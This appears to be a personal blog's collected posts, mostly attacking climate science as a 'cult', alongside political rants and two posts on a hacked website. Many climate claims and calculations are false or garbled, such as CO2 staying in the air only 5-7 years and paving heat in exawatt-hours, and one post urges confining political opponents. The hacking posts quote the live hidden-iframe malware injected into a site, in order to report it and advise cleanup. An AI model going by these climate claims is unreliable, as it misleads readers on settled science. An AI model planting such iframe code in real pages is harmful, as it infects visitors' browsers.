Climate Cultist's greatest myths.

This is an ongoing list of greatest lies told by the Cult of Global Warming (AGW).

The source of climate data will be: http://www.climate4you.com/GlobalTemperatures.htm#An%20overview%20to%20get%20things%20into%20perspective
which has all the satellite and surface data and how the surface data is changing (the past is getting colder).

First lets list the points that they concede outright:
1. CO2 trailed temperature coming out of the ice ages.

And now to areas of dispute:
L1. Negative impacts of global warming on agriculture, health & environment far outweigh any positives.
We love lies like this - at least most of their lies try to hide under a corner of the truth. This one not so much. This is what Politifact calls "pants on fire". CO2 is responsible for much of the increase in food production this century. To claim CO2 harms agriculture is an out and out lie. Garden centers recommend 1500 ppm of CO2 and warming the greenhouse - it helps if the plants are warmer to take advantage of the extra CO2.

L2. Ocean acidification threatens entire marine food chains. Huh? This is another outright lie. The ocean is alkaline so by definition it has to get a lot less alkaline before it can start becoming acidic. The ocean has a pH of about 8.2. The great lakes have clams and other shellfish with a pH of between 4 and 7 (acidic) so the claims that a disaster would happen if the ocean became acidic seem overblown. Besides the effects on marine life are overblown.
The big problem is that these horror stories are from scientists paid to concoct them. The saturation depth (point at which the ocean is acid) is below 3000m. To raise the saturation depth the calcium deposits on the ocean floor above the SD would have to dissolve - which makes the ocean neutral again. To make the ocean acid (pH < 7.0) would take 10s of thousands of years.

L3. Net positive feedback is confirmed by many different lines of evidence. Net negative feedback is confirmed by many different lines of evidence too. We are going to call the positive feedback claim false. CO2 has gone up 120 ppm - this should produce about .34°C more or less change in temperature with no feedback. Most of the increase occurred from a historic low and before the CO2 rise which means it can't be part of a CO2 anomaly. The question is whether or not the CO2 contribution to the "anomaly" has even reached .34°C. Current records do not compensate for UHI and a Korean study says this is over half the anomaly. The AGW Cultists are claiming a 5 to 10 positive feedback multiplier and there is NO EVIDENCE for that. Just to recap - right now proving no feedback is tough let alone positive feedback.

L4. Other parts of the earth got colder when Greenland got warmer. Lets start with "how warm was Greenland" - they were growing wheat for hundreds of years during the MWP which can't be done today.

L5. Polar bears are in danger of extinction as well as many other species. Liar Liar pants on fire. There are 25000 bears that live 25 years and humans kill over 1000 a year. There is a balance between the bear population and the human population. We are killing over half of the bears. If you want more bears - quit shooting them. Polar bear populations were estimated at 5000-8000 in 1965 and are estimated at 25,000+ today. The polar bear situation is like most of AGW claims - they go fishing for trouble and report they found it whether they caught something or not. The Davis Strait population has increased by almost 250% from 900 to 2251 but show signs of overpopulation stress. That would seem to argue for more managed hunting in some areas. The "troubled" South Beaufort Sea area has 1.75 cubs per liter, 3.6 year interliter interval, and 43% 5 year survival rate. That's 1.04 cubs surviving to 5 years per female - for an animal with a 25 year life span. That's more than adequate to provide population growth. The only problem with polar bears is targeting the sport hunting to the overpopulated areas.
http://answers.yahoo.com/question/index?qid=20120130143523AAZpfJS

L6. Investment in renewable energy creates more jobs than investment in fossil fuel energy. Liar. Let's think this through:

• renewable energy takes more jobs to create the same amount of energy
• which means renewable energy is more expensive per unit of energy.
• which means products made with renewable energy will be more expensive.
• which means US products will be more uncompetitive.
• which costs US jobs.
  

In the last 35 years of global warming, sun and climate have been going in opposite directions
This is of course untrue - the climate hasn't cooled or warmed its just kind of muddling along for the last 15 years. (Politifact would call this half true). The solar output is 1.5 W higher than at the start of the 20th century. The sun currently isn't getting warmer and the climate doesn't appear to be warming either.


97% of climate experts agree humans are causing global warming. This came from someone's MS thesis. Does that mean it was an actual professional poll? Well not so much. No one has asked the actual question "Is rising CO2 responsible for the majority of global warming" because it would hard to get a consensus.


Climate reacts to whatever forces it to change at the time; humans are now the dominant forcing.
This is of course untrue - but humans are influencing climate ( half true).

Grandmart is updating its website.

[Notice] week three days a temporary stop information service guidance

Hello

Thank you for visiting Grand Mart website.

Temporary information service is temporarily suspended three days to weeks.

Upgrading a web server in the process of modifying the information for any inaccuracies in week three days

While correcting the error will stop the service.

We apologize for any inconvenience.

Normal operations will soon be.


Thank you.


Local food store is apparently updating their website (I guess)...

Pavement and UHI Effect

The USHCN seems to deny that there is a significant UHI Effect, they are UHI Deniers!

Well, how bad is it?

In 1900 there were 10 miles of paved road in the US. Today there are 16 million hectares (61000 square miles) of roads and parking lots. According to the Virginia Highway Department roads get 60 degrees (33^oC) warmer than ambient temperature. But how to compute the actual heat difference over the course of a day? Thanks to the solar lobby we have an answer - the US on average receives 6 Solar Hours (hours at 100% sun) per day.

Lets assume the asphalt replaced trees. Tree lose more than 65% of their heat by evaporation and because they are at ambient temperature lose almost zero heat by thermal radiation. Asphalt at 33^oC is going to lose enormous amounts of heats by radiation and convection.

How much heat will be lost by radiation? Lets first assume a summer day with ground/air temp of 90^oF or 305K (Kelvin). The road is assumed to be 60^oF warmer or about 338K.

At Engineering Expert Witness Blog, a professional engineer (not a scientist but a REAL professional) discusses the convection problem.

First lets cover convection - there is engineering rule for rooftops that the convection loss (unforced) is 10 W/m²/K. The PE is using a rule for unforced flat surface of 15 W/m²/K and assuming an even larger temperature difference - 35K. We will stick with VA Highway number and split the difference heat transfer coefficient and go with 12. We will compute for a unit area.

Heat Flow = 12 * 33 = 396 W/m2

http://ntl.bts.gov/lib/13000/13100/13135/MPC02-136.pdf has a detailed study of asphalt heat emission and we are more or less compliant with it.


From the Stefan-Boltzmann Law: j = εσT⁴
for net emission j = εσ(T₁⁴ - εσT₀⁴
ε - emissivity of asphalt = .9
σ - sigma (SB constant) = 5.6704*10^-8
T₀ = 305K
T₁ = 338K
εσ*338⁴ - εσ*305⁴ = about 224 W/m2

The total loss is 620 W/m² for 5 hours per day .

What about the heat loss to the ground? Well, a worse case analysis would use 4 inches of asphalt, 8 inches of aggregate (1/3 meter for easy computation) and assume ground temperature at ambient. Heat transfer coefficient is 0.7 w/m/k.

HL = .7 * 33 / (1/3) = about 70 w/m2.

How much energy did it take to heat our asphalt (assuming the 4 inches (0.1m) is all at 60F above ambient)
Density = 1.3 g/cm3
Specific heat = 1.3 J/gC

E_h = 1.3 g/cm³ * 0.1m * 1 m² * 1.3 J/gC * 33 C * 10⁴ cm²/m² = 55770 W to raise the temp 60 degrees F. That's about an hour and a half of energy at peak sun.


How much of a difference does this make for the US?
Since the thermal radiation is assumed to be absorbed in the lowest 200 meter of air, and the convection only affects the surface air, all the energy is going into the surface air. So what is the impact of our 16 million hectares of asphalt?

Total = 620 W/m² * 16 * 10⁶ h * 10⁶ m2/h = 9920 TW

Total Yearly energy = 5 * 9920 * 365 = 18.1 eW*h (thats exaWatt*hours)
In 2008 the US produced 4.344 TWh of electricity but produced about 10TWh of waste heat doing it. The paving produced 1.5 million times more heat.

This has nothing to do with CO2 - this is just the heat from replacing trees and grass with asphalt.

Work in Progress...

A little CO2 is good - but more is better.

Greenpeace co-founder Dr. Patrick Moore: 'Thank goodness we came along & reversed 150 million-year trend of reduced CO2 levels in global atmosphere. Long live the humans'

Plants gobbling up CO2 – 45% more than thought.



I just wish someone could explain to me why CO2 is bad? It looks for all the world like CO2 is how humanity will avoid starvation.

Why does the USHCN keep moving the goalposts?

Newly found weather records show 1930′s as being far worse than the present for extreme weather

Analysis: Claim that last 12 months is warmest in US history is not surprising, because USHCN is massively cheating – by adding 2.5 degrees on to 2012 temps relative to 100 years ago

'They have some massive data tampering going on after the year 2000. The US temperature record is corrupted beyond comprehension'

All Claimed July Warming In The US Is Due To Data Manipulation

USHCN has adjusted recent US July temperatures upwards by 1.5 degrees F, relative to the 1890s. The adjusted July graph shows about 1.5 degrees of warming since 1895'

Anyone who has studied the data for a while realizes that since about 1998 the 1930s temperatures have dropped about 0.3^oC. Since the current temperatures are compared to historic temperatures that makes current temperatures look higher and current high temperature records more numerous. Why is the USHCN doing and how can they possibly think this is honest?

I used to play football - there is a football term for this - moving the goal posts. In any other field of endevour the people involved in this would be fired for dishonesty. Why is this tolerated in the climate field? If they are going to cheat and lie - why should we take climate science seriously? Climate science in its current state appears no more accurate or honest than astrology.

Blacks liberals and Romney.

From the drudgereport: SMEAR: TOO 'WHITE' FOR NAACP ADDRESS

I'm really not sure what I think about this. When I don't believe that liberals can sink any lower they manage to exceed my already dismal expectations.

There is a liberal/warming cultist/neo-luddite element that there just isn't any way to engage in an intelligent conversation because:
a. They aren't intelligent.
b. They aren't interested in conversation.

Their focus is just to throw sand in the gears. The only way to deal with people like this is to make their activities illegal so they can be confined.

A prime example is the Speedway Bomber Brett Kimberin. His opponents get harassed - really harassed, using dangerous tactics like swatting. Three of his opponents have been swatted. Swatting is a very simple tactic:
a. The police are called
b. They are told that one of his opponents is killing their wife.
c. The address of the opponent's house is given. Sometimes the phone is cloned to appear to be calling from the targetted house.
d. 15 minutes later a SWAT team knocks the door down and chaos ensues for several hours - with a significant chance of death or injury.

This type of tactic or conspiracy to commit this kind of tactic should be a 5 to 10 year mandatory sentence with no possibility of parole.

Then there is this: James Earl Jones: Tea Party Is 'Racist'

I used to like James Earl Jones. He is a fellow Michigander - comes from Northern lower Michigan as well.

But this is crazy. The national media deliberately composed any visual images (photos or video) of the tea party movement to exclude the many blacks in attendance - one of the blacks was beaten up by SEIU thugs and the media reported the story without showing any pictures of the beaten man - not because his injuries were so shocking - but because he was black.

The liberal media is one of the most repugnantly racist groups in the country. The time has come to call them out and hold their nose in their mess until they repent.

Saw this article at WTFUWT

Unexplored Possible Climate Balancing Mechanism

Even after chopping down 80% of the rainforest and removing over a megaton of iron from the core ocean every year, people blame fossil fuels for the CO2 rise.

If you want a better explanation - trying dumping iron sulfate in the ocean - there is an immediately algae bloom. This indicates the ocean is iron depleted. People who are surprised by the depletion of fishing stocks shouldn't be - if you have fewer nutrients and fewer plankton there are fewer fish. Why is iron so critical? Iron is 5% of the earth's crust. The concentration in seawater is only 0.00034 ppm (parts per million) - much less than one part in a billion.

Well - if there is so little, how much are we taking out each year? Doing the math:
1.34x10⁹ (sea volume in km*3) * 0.00034 (mg/l) * 10^-6 (tonnes/gm) * 10³ (l/m*3) * 10⁹ (m3/km3) * 10^-3 (gm/mg) = 455600000 tonnes of iron. We are removing at least 2.2% of the ocean's iron per decade.
The solution is obvious - we should be dumping the equivalent of several large ore carriers of iron and trace elements into the ocean every year to keep the ocean productive, and stop chopping down rainforest to produce palm oil biodiesel.

This is win/win - a more productive ocean means less CO2 and more fish. As for the rainforest - who can argue with more trees.

I'm surprised there are still 9/11 conspiracy people out there.

Occam's razor says that the simplest explanation is usually right.

Conspiracy theorists prefer a huge secret home-grown conspiracy with split second timing, over a small foreign operation taking advantage of lazyness, stupidity, and inattention.

Since it is obvious which is more likely, conspiracy theorism is an indication of a basic inability to correctly process information.

more on Websites, hacking, and Cleanup

This is the code that was shown in the previous "Websites, hacking, and Cleanup" post:

<div style='display:none'><iframe width='9' height='6' src='http://www.flepstudio.org/od.php frameborder='0' scrolling='no'></iframe></div>

<div style='display:none'><iframe width='9' height='6' src='http://t-tapp.com/od.php' frameborder='0'" </literal>



This is the HTML that was added with the HTML editor to display the above code:

&lt;div style=&#x27;display:none&#x27;&gt;&lt;iframe width=&#x27;9&#x27; height=&#x27;6&#x27; src=&#x27;http:&#x2F;&#x2F;www.flepstudio.org&#x2F;od.php frameborder=&#x27;0&#x27; scrolling=&#x27;no&#x27;&gt;&lt;&#x2F;iframe&gt;&lt;&#x2F;div&gt;

&lt;div style=&#x27;display:none&#x27;&gt;&lt;iframe width=&#x27;9&#x27; height=&#x27;6&#x27; src=&#x27;http:&#x2F;&#x2F;t-tapp.com&#x2F;od.php&#x27; frameborder=&#x27;0&#x27;" &lt;&#x2F;literal&gt;

The HTML processor interprets the code as it is read, if the code requires translation the code is translated rather than executed. The first example is executed, the 2nd example is translated. For example, the &#x27; in the second example is translated to ' . The & symbol means a special symbol, the # means that the symbol is a number for an ASCII code symbol, the x means the number is hexidecimal, and 27 is hexidecimal for the number 39, the ; indicates the end of the "special symbol" field. When the ASCII code table is checked, 39 decimal and 27 hexidecimal is the character '

A little more on the sea level rise

The current estimate is that 1000 km³ of ground water are pumped out every year and that this contributes about 1.0 mm/yr to the rising sea level.

The surface area of the ocean is 3.36 x 10⁸. 1000 km³ divided by the ocean surface area = 2.96 mm/yr. Assuming that about a third either evaporates or runs off, viola (that's french for "there it is") 1.0 mm/yr.

Websites, hacking, and Cleanup

Google deserves some kudos for their antivirus efforts. Several sites that I visit have been infected. Typically I don't need my antivirus program (Norton) to tell me the site is bad. Google will normally have it listed as an infected site and query you for permission before proceeding to the site.

It is just inexcusable to leave hacked or virused sites up and running. Either fix them or take them down.

A site that I have visited a lot recently (alienscientist.com) has been having what looks like an I-Frame injection problem. The following two lines are injected ahead of the footer on all their webpages:


<div style='display:none'><iframe width='9' height='6' src='http://www.flepstudio.org/od.php frameborder='0' scrolling='no'></iframe></div>


<div style='display:none'><iframe width='9' height='6' src='http://t-tapp.com/od.php' frameborder='0'



Jesus Christos (pronouned "Hay Suesss") it has been a week since the site was infected. Get with the program.

1. The entire site should be under source control - virus programs don't have the intelligence to operate a source control program and contaminate prior versions of the site.
2. Since normally only new files a pushed when doing an update - check the new files.
3. If a virus/hacking problem occurs - check the update console and the server for virus/hack problems throughly before attempting cleanup. If your update system has problems:
a. unplug the network
b. recover from the previous backup.
c. change passwords.
d. retest for inflection.
e. reconnect to the network.
4. After the update system is solid - do a diff (comparison) of the site to the source control version and push the incorrect files. Check the files that are only on the server - to make sure they are generated or came from a known source.


As a side note - the HTML code above caused all kinds of problems in the post until all the special characters were escaped. The missing </div> tag causes the remainder of the post to disappear - but that is the least of the problems.

Urban Heat Island Effect

The urban heat island effect is responsible for 56% of the global warming in South Korea. In specific for the period 1954 to 2008 .60^oC is due to other causes and .77^oC (or 56%) is due to UHI.

A little on the sea level rise

I got tired of going through a climatist (a member of the cult of global warming) blog.

So we will look at sea level.

The following is from National Snow and Ice Data Center blurb State of the Cryosphere.

1. Pre-satellite the ocean was rising 1.7mm/yr (7 inches/century).
2. The satellite era rise is 3.0 mm/yr.
3. Climate models indicate the sea level may rise .22 to .44 mm more.
4. For the period 1961-2003, the observed sea level rise due to thermal expansion was 0.42 millimeters per year.
5. 0.69 millimeters per year due to total glacier melt (small glaciers, ice caps, ice sheets) (IPCC 2007).
6. Between 1993 and 2003, the contribution to sea level rise increased for both sources to 1.60 millimeters per year and 1.19 millimeters per year respectively (IPCC 2007).

1992 was when the first sea level monitoring satellite (TOPEX) was launched. So what is really being compared is tidal gauge (relative sea level height) to satellite (absolute sea level height) measurements. This is apples and oranges since the tidal gauges were mostly in civilized countries that had been covered with glaciers. The isostatic rebound been estimated at up to 1.2mm (on average). But this is highly dependent on the tidal gauge locations.

Death of Global Warming, Part 5

Myth #9: Modern temperature increases are a direct result of the Earth’s climate exiting the Little Ice Age.

I have not seen anyone make this point but there are many more direct causes for climate than the end of the ice age. This is a myth although there probably aren't a lot of people that believe it.

Myth #10: Global cooling between 1940 and 1970 happened even though anthropogenic CO₂ was rising

This is an accurate statement and not a myth. The author admits it is true - then dances around about "the sun", "the volcanos", etc. Since the author admits it is true then we will just stipulate that it is a fact not a myth and move on.

Death of Global Warming, Part 4

Myth #7: Temperatures during the Medieval Warm Period were warmer than modern temperatures.

Just Google "hide the decline" or "Hockey Stick briffa" to see some of the arguments. In a nutshell the Mann hockey graph obscured the fact that the proxies have risen 50% (or less) than the instrumented temperature since 1960. That's a fact and not a debating point. The arctic (Greenland) and antarctic ice cores show the MWP as being warmer and in theory these measures should be more stable than the tree rings. Before 1998 the MWP was believed to be much warmer. If the Medieval temperature anomaly is doubled (to reflect recent proxy performance) it would clearly be warmer. "Sigh" however what this really means is the variability of tree ring response to temperature is so great we can't tell accurately how warm the MWP was and this is just a pissing contest.

More evidence of error comes from the Wegman Report which reviewed the hockey stick and said:

Of the approach used by Mann: "...it is unlikely that the
temperature records and the data derived from the proxies can be adequately modeled
with a simple temperature signal with superimposed noise."

On the hockey stick: "The controversy of Mann’s methods lies in that the
proxies are centered on the mean of the period 1902-1995, rather than on the whole time
period. This mean is, thus, actually decentered low, which will cause it to exhibit a larger
variance, giving it preference for being selected as the first principal component. The net
effect of this decentering using the proxy data in MBH98 and MBH99 is to produce a
“hockey stick” shape."

On his statistics: "We note that there is no evidence that Dr.
Mann or any of the other authors in paleoclimatology studies have had significant
interactions with mainstream statisticians."

On the social network and independence of authors: "Our findings from this analysis suggest that authors in the area of paleoclimate studies are closely connected and thus ‘independent studies’ may not be as independent as they might appear on the surface."

Here are some more interesting arguments:http://joannenova.com.au/2009/12/fraudulent-hockey-sticks-and-hidden-data/

Myth #8: The existence of the Medieval Warm Period has been ignored in order to support anthropogenic global heating..
This question brings Ayn Rand and “Why don’t you believe in housewives?” to mind. I don't know why they are doing it - but they are (at least in the case of Mann).

The problem is that the proxies peaked in 1940. The Mann "Hockey Stick" graph used strategically placed instrument data to obscure this fact. For a discussion of the proxy problems:
http://icecap.us/images/uploads/Holocene,Historicandrecentglobaltemperatures.pdf

From a proxy perspective 1940 may/may not be warmer than the MWP. The 21st century definitely isn't. Given that the Vikings aren't growing grain in Greenland like they were during the MWP, the MWP was probably warmer.

On rereading the source discussion - he appears to argue that there are enough errors in the data that we don't know for sure when the warmest period was. Sounds good - but Mann did try to eliminate the MWP.

Death of Global Warming, Part 3

Myth #5: CO₂ is such a weak greenhouse gas that it cannot be the cause of the observed warming.

Another straw man. Most people aren't arguing that it can't be, they're arguing that it isn't or that it is a result, etc.

CO2 has increased from 366.65 (1998) to around 393 (today). Using one of the IPCC forcing equations:

Forcing in w/m2 = 5.35*ln(393/366.65) = .37 w/m2

This is good for about 0.1 degrees Celsius. Has the climate warmed 0.1 degrees in the last 13 years?

Courtesy of www.climate4you.com is the UAH temperature anomaly graph.

If you follow the link to the graph you get the feeling we are 0.3 degrees cooler, despite a 7% increase in CO2. This isn't much evidence of CO2 forcing.

The temperature anomaly is somewhere between 0 and .6 degrees Celsius. The CO2 level has gone up 113 ppm. This should have caused a forcing (using the above equation) of 1.8 w/m2 or 0.33 degrees Celcius.

Given that the .6 estimate includes IHI effects, data maturity changes, etc. the actual value is somewhere between 0 and 0.6. 0.3 or 0.4 would be good choices. This would mean that the IPCC estimates of CO2 forcing are correct but the predictions of 5x water vapor forcing are not, the net feedback is approximately zero.

Since fossil fuels are responsible for 30% of the CO2 increase the temperature rise due to fossil fuels is 0.1 degrees C.

Bottom line - CO2 has an effect and causes some of the warming, not a worrisome amount, but some.

Myth #6: CO₂ concentrations are not correlated with global temperature due to periods in the geologic history when CO₂ was higher and the planet was in an ice age.

This myth is deceptive - the CO2 concentrations do generally correlate with temperature - in that rising temperatures cause a delayed increase in CO2.

The author does a lot of dancing about late Ordovecian period when there was an ice age with CO2 levels 14x the current levels. Given that the historic CO2 increases trail warming by centuries, historically temperature drives CO2. Claiming that historically CO2 drove temperature is simply deceitfully. The cause has to precede the effect. Also there is published literature to the effect that CO2 has to be below 600 ppm to have a ice age. The historic record has exceptions that make this look a little dubious (14x is a lot more than 600ppm).

So the myth is generally untrue - but only because temperature drives CO2 levels.

Death of Global Warming, Part 2

Myth #3: Humans are not the source of the recent increase in atmospheric CO₂ concentration.

I have to give the author props for this one. Given the analysis in part one, humans are the major source of CO2.

However there is some evidence that that carbon isotope ratios aren't definitive. Further, a Japanese enviromental satellite indicates that the sources of CO2 are Brazil, Africa, and Asia. North America (US/Canada) and Northern Europe are net sinks of CO2.


Myth #4: CO₂ is rising at 0.38% per year, not 1% per year as the IPCC Third Assessment Report claimed.

For 2011 the increase was 1.96 ppm. So, CO2 is going up 2.0 ppm. Concentration is 400 ppm (more or less). That would mean 0.5% per year. So the truth is in the middle. The IPCC is absolutely wrong and the myth is kind of wrong. We grade a 100% miss as wrong. 0.38% (roughly 31 percent off) is bad at math wrong.

Death of Global Warming, Part 1

Saw this website that claimed to refute the "Deniers":

Anti-global heating claims – a reasonably thorough debunking

Before we start swinging our ax to chop through the nonsense list, let's first dispose of the prelude.

0. "The Earth is heating up, and human beings burning fossil fuels are the dominant cause"
This is a damned lie. In two parts.
a. Looking at the UAH global temperature anomaly it is really hard to see any trend in the last 10-15 years. Climate4you.com has all the various anomalies. The NCDC and GISS maturity (the fact that historic data is being changed) render them unusable as a reference. Bob Tisdale has a good example of the problem. The data has been manipulated to more closely resemble the climate model results.

b. Wikipedia (no friend of "Deniers") list fossil fuel use as contributing 10 GT of carbon per year and other causes (mostly land use changes) causing 25 GT of additional carbon per year. Burning down rainforests to grow palm oil for biodiesel puts more carbon into the atmosphere than fossil fuels. At any rate burning fossil fuels is 30% of the problem.

1. Myth #1: All the CO₂ in the air at present comes from the mantle. I don't know what to do with this statement. It is true that all the CO2 originally came from the mantle - the CO2 was there before the plants or animals and volcanoes are constantly injecting more CO2. However if you divide 10**4 or 10**6 (the ratio of CO2 from the mantle to anthropomorphic CO2) by 10**9 (a billion years) you get nada (0.001 or less), this is why volcanoes and man-made CO2 are always compared. All that CO2 is lime, coal, or oil. However this is apparently a straw man. The Khilyuk and Chilingar article was in a geology journal, was looking at the temperature over long time frames (by and large) based on best information and accidentally stepped on some AGW toes.

Lets look at the CO2 currently in the atmosphere. The vast majority of the CO2 in the atmosphere is produced animals and consumed by plants. There are 730 Gigatons in the atmosphere and photosynthesis converts 150-175 Gigatons a year. So the average lifetime of CO2 in the atmosphere is in the range of 5-7 years. There is a common lie that the lifetime of CO2 is 100 years but if you replace between 20% and 25% of the atmospheric CO2 per year, well - just do the math.

The author tries to make the point that fossil fuel CO2 is a significant portion of the CO2 in the atmosphere. The fossil fuel CO2 is only 1/17 (10/170 Gigatons) the amount normally consumed by plants. According to USDA studies doubled CO2 results in 50% greater growth (and presumably 50% more CO2 consumption) and consumption continues to increase to 1200ppm. For example: at 680ppm of CO2 cotton produces a 200% higher yield and 87% more mass than at 340 ppm. At 200 ppm of CO2 land plant photosynthesis stops - see this chart from www.Hydrofarm.com. 280 ppm of CO2 is not ideal for plants, being almost a starvation level of CO2 - it is the result of competition for resources. So, yes there is a significant amount of man-made CO2 but it is rapidly compensated for by increased plant growth.

The only way to significantly increase CO2 is to completely cut down all the rainforests or empty the oceans.

2. Myth #2: Increasing CO₂ in the air is due to gases coming out of solution as the ocean heats up. "The source of the CO₂ in the air is thermal heating of the ocean causing dissolved gases like CO₂ to come out of solution and enter the atmosphere"
I don't know anyone who actually says this but the literal statement is indeed a myth. However I read through the Monckton article that was linked and searched on solution, heating, and other key words in the quoted statement and Monckton didn't make the statement. So I don't know where the author's myth comes from.

Although this is another straw man, let's sort out the facts. The amount of natural CO2 emitted due to increasing land temperature is evident but doesn't appear to have been quantified, doesn't appear to be more than man-made emission, and since there is no reason to guess, we'll have to ignore it for now. We know from myth 1 that we are injecting 1.3% (10/730 Gigatons) new CO2 into the atmosphere on a yearly basis. We know from the prelude analysis that 3.4% (25/730 Gigatons) is due to land use changes and other issues (from Wikipedia). Taken together this is 4.7% or 18ppm (.047 * 400ppm). Here is the only estimate I could find for ocean heating induced CO2 of 20 - 40 ppm per degree of warming. So if we assume the worst case and average a one degree increase over a century we get .4 ppm per year which is a very small increase compared to anthropomorphic CO2.

However the rate of increase of CO2 is not 18.4 ppm. The CO2 is increasing at 2.0 ppm and the current level is almost 400 ppm so the rate of increase is 0.5%. This is mostly caused by anthropomorphic CO2. Much of the "new" CO2 is absorbed by the ocean or converted by plants. The ocean is probably a net absorber of CO2.

The author tries to make the point that CO2 in the ocean is increasing and given that the atmospheric CO2 concentration (and thus the ocean concentration) is rising faster than the ocean heat induced outgassing, it is expected that the ocean would still be a net carbon sink.

Just note that there was some switching above between gigatons and ppm (730 gigatons of carbon is about 390 ppm of CO2).